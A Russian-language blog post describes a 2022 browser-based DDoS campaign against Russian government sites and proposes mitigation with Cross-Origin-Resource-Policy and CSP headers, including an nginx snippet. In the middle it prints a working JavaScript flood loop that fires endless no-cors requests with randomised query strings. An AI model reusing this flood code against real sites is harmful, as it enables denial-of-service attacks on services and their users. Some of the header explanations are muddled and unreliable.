Один из векторов атаки на государственные сайты РФ

Один из векторов атаки на государственные сайты РФ

07 марта 2022 года стал свидетелем масштабной DDoS-атаки на основные сайты в зонах .gov, банки, маркетплейсы, dns-сервера, адреса платежных шлюзов мир.

К этому моменту многие сайты перешли на режим «только РФ IP» и стиснув зубы отправляли особо агрессивные массовые запросы в черные списки. Но попросту продолжали открываться медленно. Администраторы же предупреждали про уголовную ответственность Россиян за DDoS, так как принимали огромное количество легитимных запросов.

В Украинских телеграм каналах распространялись ссылки и JS-скрипты для встраивания в сайты. На один такой попался и я. Так как ситуация не меняется и я не вижу, чтобы хоть кто-то активировал защиту от этого, то расскажу, как как смягчить эту атаку одним движением.

В этом инциденте браузеры и пользователи использовались (используются) в качестве векторов для запуска атаки. Существующие политики безопасности браузера, такие как политика единого источника (SOP) и политика безопасности контента (CSP), не защищают от этих атак по своей природе. CORP (Cross Origin Request Policy), политика безопасности браузера, может использоваться для смягчения этих атак. CORP позволяет серверу контролировать взаимодействие между источниками, инициированное браузером. Браузер перехватывает запросы из разных источников и блокирует нежелательные запросы со стороны сервера. Это снимает нагрузку с сервера, чтобы смягчить атаку.

Если простыми словами, то злоумышленники распространяют ссылки, если зайти по такой ссылке, то браузер с вашего IP-адреса будет атаковать 50-крупнейших или важных сайтов РФ, в том числе и сайты силовых структур со всеми возможными последствиями. Атака эта не слабая, так как скрипт злоумышленников весьма интересен. Происходит генерация по 1000 запросов в секунду, открытое соединение сразу же закрывается. В том числе заражаются и РФ сайты и все пользователи такого сайта даже не догадываются, что участвуют в сильной атаке каждый раз, когда находятся на сайте.

По соображениям безопасности, выкладываю не всю часть скрипта, а функциональную.

async function fetchWithTimeout(resource, options) { const controller = new AbortController(); const id = setTimeout(() => controller.abort(), options.timeout); return fetch(resource, { method: 'GET', mode: 'no-cors', signal: controller.signal }).then((response) => { clearTimeout(id); return response; }).catch((error) => { clearTimeout(id); throw error; }); } async function flood(target) { for (var i = 0;; ++i) { if (queue.length > CONCURRENCY_LIMIT) { await queue.shift() } rand = i % 3 === 0 ? '' : ('?' + Math.random() * 1000) queue.push( fetchWithTimeout(target+rand, { timeout: 1000 }) .catch((error) => { if (error.code === 20 /* ABORT */) { return; } targetStats[target].number_of_errored_responses++; }) .then((response) => { if (response && !response.ok) { targetStats[target].number_of_errored_responses++; } targetStats[target].number_of_requests++; }) ) } }

Бороться с этим можно достаточно просто. По крайней мере включение заголовков безопасности в вашем веб-сервере сильно снизит расходы. Один из таких заголовков Cross-Origin-Resource-Policy - это заголовок ответа HTTP, который позволяет серверам защищаться от определенного межсайтового источника.

Cross-Origin-Resource-Policy: same-site | same-origin | cross-site

  • same-site: директива разрешала пользователям читать ресурсы только тогда, когда браузер распознает их запросы с того же сайта (один домен).

  • same-origin: директива позволяет пользователям читать ресурсы только тогда, когда браузер распознает их запросы из одного и того же источника ([схема, хост, порт]).

  • cross-site: директива разрешает пользователям запросы с разных сайтов.

В данном случае можно использовать cross-origin-resource-policy: same-site

nginx.conf

server { listen 80; .... location ~ \.php$ { add_header 'Cross-Origin-Resource-Policy' 'same-site'; .... try_files $uri $uri/ =404; } }
Один из векторов атаки на государственные сайты РФ

Помимо этого заголовка стоит включить еще Content-Security-Policy и разрешить все используемые домены к использованию https://developer.mozilla.org/ru/docs/Web/HTTP/CSP

На текущий момент, никто из тех сайтов не прописал заголовки безопасности и продолжают принимать флуд.

1010
1 комментарий

ну вот, возможна этот же скрипт или похожий.

1